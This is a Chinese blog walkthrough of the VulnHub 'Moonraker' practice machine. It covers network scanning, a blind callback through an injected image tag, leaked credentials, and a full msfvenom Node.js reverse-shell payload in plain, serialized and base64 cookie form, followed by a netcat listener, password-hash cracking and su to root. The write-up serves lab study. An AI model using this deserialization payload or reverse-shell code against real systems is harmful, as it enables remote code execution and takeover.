【8 Moonraker渗透笔记 】

目录

1.前言

2.准备工作

3.arp-scan主机发现

4.网络扫描

 5.XXE漏洞

6.信息泄露

7.NodeJS反序列化漏洞获取shell

8.提权

9.结语


1.前言

本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:https://download.vulnhub.com/moonraker/Moonraker.ova。

难度:有挑战性

文件下载完后,分别VMware导入,网卡1选择桥接模式,开启靶机

目标:获取/root/flag.txt。

靶机IP:未知

本机kali IP:192.168.1.107

3.arp-scan主机发现

使用命令:

arp-scan -l

发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。

4.网络扫描

nmap  -A  -p-  192.168.1.116

发现系统是linux,开放了22、80、3000、4369、5984、37785端口,具体情况如下。

编号

端口

服务

版本

1

22

ssh

openssh7.4p1

2

80

HTTP

Apache 2.4.25

3

3000

3000

nodejs框架

4

4369

epmd

Erlang Port Mapper Daemon

5

5984

http

CouchDB httpd 2.2.0 (Erlang OTP/19)

6

37785

未知

未知

看看网站,浏览器访问:http://192.168.1.116,一段视频后显示主页

在services页面中发现连接send an inquiry,点击后跳转到页面

 5.XXE漏洞

页面显示,销售代表会在5分钟内核对基于web的查询。有两个输入框。意味着我们的输入会存储到服务端某个地方,然后销售代表会访问它。我们不知道存储在什么地方。

我们可以启动一个http服务,供销售代表去访问,然后查看我们服务的后台日志,可以看到访问记录。

service apache2 start     #启动apache

cd /var/www/html       #切换到web服务目录

echo "test" > log.txt      #创建测试文件

http://192.168.1.107/log.txt #用浏览器访问本机web服务,测试是否正常。

能够正常访问,把链接作为图片标签,填入靶机网站提供的输入窗口。

<img src="http://192.168.1.107/log.txt"></img>

 提交后跳转到一下页面,点击后会返回主页。

tail -f /var/log/apache2/access.log  #查看apache2 访问日志

 从日志中发现一个URL,http://127.0.0.1/svc-inq/salesmoon-gui.php

把靶机本地IP改为靶机IP后,访问靶机上的链接

http://192.168.1.116/svc-inq/salesmoon-gui.php

 有个链接点击连接后跳转到页面

 

6.信息泄露

在CouchDB Notes页面发现内容

提示管理员页面的存在,且用户名jaws的密码是girlfriends name + "x99"

在Hugo’s page moved to port 3k发现信息

 显示Hugo的定制页面使用NodeJS服务,端口是3000,还有一旦使用账号密码登录后服务端对cookies的处理代码。对cookies进行了base64解码,然后反序列化。

谷歌jaws's girlfriends结果是dolly,得到账号密码,jaws/dollyx99

 百度couchDB得知控制面板登录地址,即http://192.168.1.116:5984/_utils

 使用浏览器访问http://192.168.1.116:5984/_utils。

 输入账号密码,jaws/dollyx99,成功登录

 点点点,在links下面显示了一些信息,获得几个地址。

/cats/cats-gallery.html、/surv-cam/recent.html、/HR-Confidential/offer-letters.html、/x-files/deep-space-findings.html

 其他图片就不贴了。

地址拼接靶机ip分别访问,在http://192.168.1.116/HR-Confidential/offer-letters.html,发现信息。

链接是5个PDF文件

 其他图就不贴了。泄露了4个账号密码,jaws/dollyx99,holly/ArchivesPistolsL2K,hugo/TempleLasersL2K,guard/FacProxsL2K,

特别是hugo的账号密码,提示通过3000端口登录

 访问http://192.168.1.116:3000/ 通过账号密码hugo/TempleLasersL2K登录后显示。

 页面内容没啥信息。看看F12,在Network->cookies中看到信息profile:"eyJ1c2VybmFtZSI6Imh1Z28ifQ=="

 联想到在Hugo’s page moved to port 3k发现的信息,服务端NodeJS对cookies进行base64解码,然后反序列化。尝试NodeJS的反序列化漏洞。

7.NodeJS反序列化漏洞获取shell

NodeJS从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞。

msfvenom -p nodejs/shell_reverse_tcp lhost=192.168.1.107 lport=4444  #生成payload

生成结果如下:

(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, "192.168.1.107", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();

加上_$$ND_FUNC$$_头,再对其序列化,并转义”

{"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, \"192.168.1.107\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}

进行base64编码

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCg0NDQ0LCBcIjE5Mi4xNjguMS4xMDdcIiwgZnVuY3Rpb24oKSB7IGNsaWVudC5zb2NrZXQucGlwZShzaC5zdGRpbik7IGlmICh0eXBlb2YgdXRpbC5wdW1wID09PSBcInVuZGVmaW5lZFwiKSB7IHNoLnN0ZG91dC5waXBlKGNsaWVudC5zb2NrZXQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQuc29ja2V0KTsgfSBlbHNlIHsgdXRpbC5wdW1wKHNoLnN0ZG91dCwgY2xpZW50LnNvY2tldCk7IHV0aWwucHVtcChzaC5zdGRlcnIsIGNsaWVudC5zb2NrZXQpOyB9IH0pOyBzb2NrZXQub24oXCJlcnJvclwiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0oKSJ9
nc -vlp 4444  #监听本机4444端口

启动burpSuite抓包http://192.168.1.116:3000/,使用账号密码hugo/TempleLasersL2K登录后抓到数据包

使用base64编码后内容替换cookies的profile内容,然后放行。

 本机获得反弹shell

 转tty

python -c 'import pty; pty.spawn("/bin/bash")'

8.提权

netstat -antp    #查看开放端口

 发现靶机本地开放了25端口,提供邮件服务。没有账号密码。

在/opt/couchdb/etc/local.ini文件中发现账号密码。hugo = 321Blast0ff!!


 

su hugo  #切换用户

321Blast0ff!!  #输入密码

mail         #查看邮件信息

 在2邮件中,发现信息,包含root和旧的密码哈希root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::

 新的密码为旧的密码+VR00M

复制旧的密码哈希到文件中,命名为old.hash。使用John the Ripper进行离线破解。得到密码cyber。

 即新密码为cyberVR00M,账号root。

su root    #切换用户为root

cyberVR00M  #输入密码,成功登录,获得root权限。

flag在root目录下。

9.结语

最后请各位师傅斧正!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值